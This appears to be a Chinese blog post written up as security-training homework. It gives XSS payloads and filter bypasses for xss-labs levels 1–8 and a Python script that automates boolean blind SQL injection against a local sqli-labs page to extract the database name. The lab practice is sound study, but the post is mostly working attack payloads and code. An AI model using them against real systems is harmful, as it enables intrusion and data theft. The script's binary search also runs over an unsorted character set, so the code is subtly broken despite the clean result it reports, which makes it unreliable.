安全初级2

发布于:2025-07-19 ⋅ 阅读:(13) ⋅ 点赞:(0)

一、作业要求

1、xss-labs 1~8关

2、python实现自动化sql布尔育注代码优化(二分查找)

二、xss-labs 1~8关

1、准备

打开小皮面板,启动MySQL和apacher

下载 xss-labs,并解压后放到 phpstudy_pro 的 WWW 目录下,重命名为 xss-labs

访问链接:http://localhost/xss-labs/

2、level 1(直接注入)

漏洞:name未过滤直接输出到HTMLGET

解决方案:直接加入xss攻击语句

<script>alert('xss')</script>

3、level 2

漏洞:输入框的alue属性未过滤,但<h2>内容被转义

解决方案:闭合value的双引导,利用未过滤的输入点注入脚本

(1)在搜索框输入​<script>alert()</script>不成功

(2)查看源代码

在搜索框中输入

"><script>alert()</script>

4、level 3

漏洞:<和>被转义,但是单引号未过滤

解决方案:

搜索框输入代码

' onfocus=javascript:alert() '

查看源代码

符号被实体化

用onfocus事件进行绕过,则在搜索框中输入

'onfocus='alert(1)

5、level 4

漏洞:双引号闭合属性值

解决方案:查看源代码

符号被实体化,用onfocus事件实现绕过,搜索框输入

1"onclick="alert(1)

6、level 5

漏洞:onclick和script被过滤为o_nclick和scr_ipt

解决方案:用<a>标签的href属性链接到JavaScript

"><a href="javascript:alert(1)">xss</a><"

点击xss,直接通关

7、level 6

漏洞:大小写未统一,href被替换成了hr_ef

解决方案:用转大写绕过

"><a HREF="javascript:alert(1)">点击</a>

8、level 7

漏洞:script被替换为空

解决方案:(1)用onfocus事件进行绕过发现on被过滤

(2)用双写绕过

"><scscriptript>alert()</scscriptript><"

9、level 8

漏洞:href属性自动解码Unicode

解决方案:查看源码

对javascript:alert(1)编码

三、python实现自动化sql布尔育注代码优化(二分查找)

import requests

# 目标URL和成功标记
url = "http://127.0.0.1/sqli/Less-8/index.php"
success_marker = "You are in"

# 字符集
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-."

def get_database_length():
    for length in range(1, 50):
        payload = f"1' AND (SELECT length(database()) = {length}) -- "
        try:
            response = requests.get(url, params={"id": payload}, timeout=5)
            if success_marker in response.text:
                return length
        except requests.exceptions.RequestException:
            continue
    return 0

def get_database_name(length):
    db_name = ""
    for i in range(1, length + 1):
        left, right = 0, len(charset) - 1
        while left <= right:
            mid = (left + right) // 2
            char = charset[mid]
            payload = f"1' AND (SELECT substring(database(), {i}, 1) <= '{char}') -- "
            try:
                response = requests.get(url, params={"id": payload}, timeout=5)
                if success_marker in response.text:
                    right = mid - 1
                else:
                    left = mid + 1
            except requests.exceptions.RequestException:
                break
        db_name += charset[left] if left < len(charset) else "?"
    return db_name

if __name__ == "__main__":
    length = get_database_length()
    if length > 0:
        print(f"Database length: {length}")
        db_name = get_database_name(length)
        print(f"Database name: {db_name}")
    else:
        print("Failed to determine database length.")

get_database_length():通过递增测试确定数据库名的长度

get_database_name(length):使用二分查找法逐字符推断数据库名

结果

数据库名长度: 8
数据库名: security


网站公告

今日签到

点亮在社区的每一天
去签到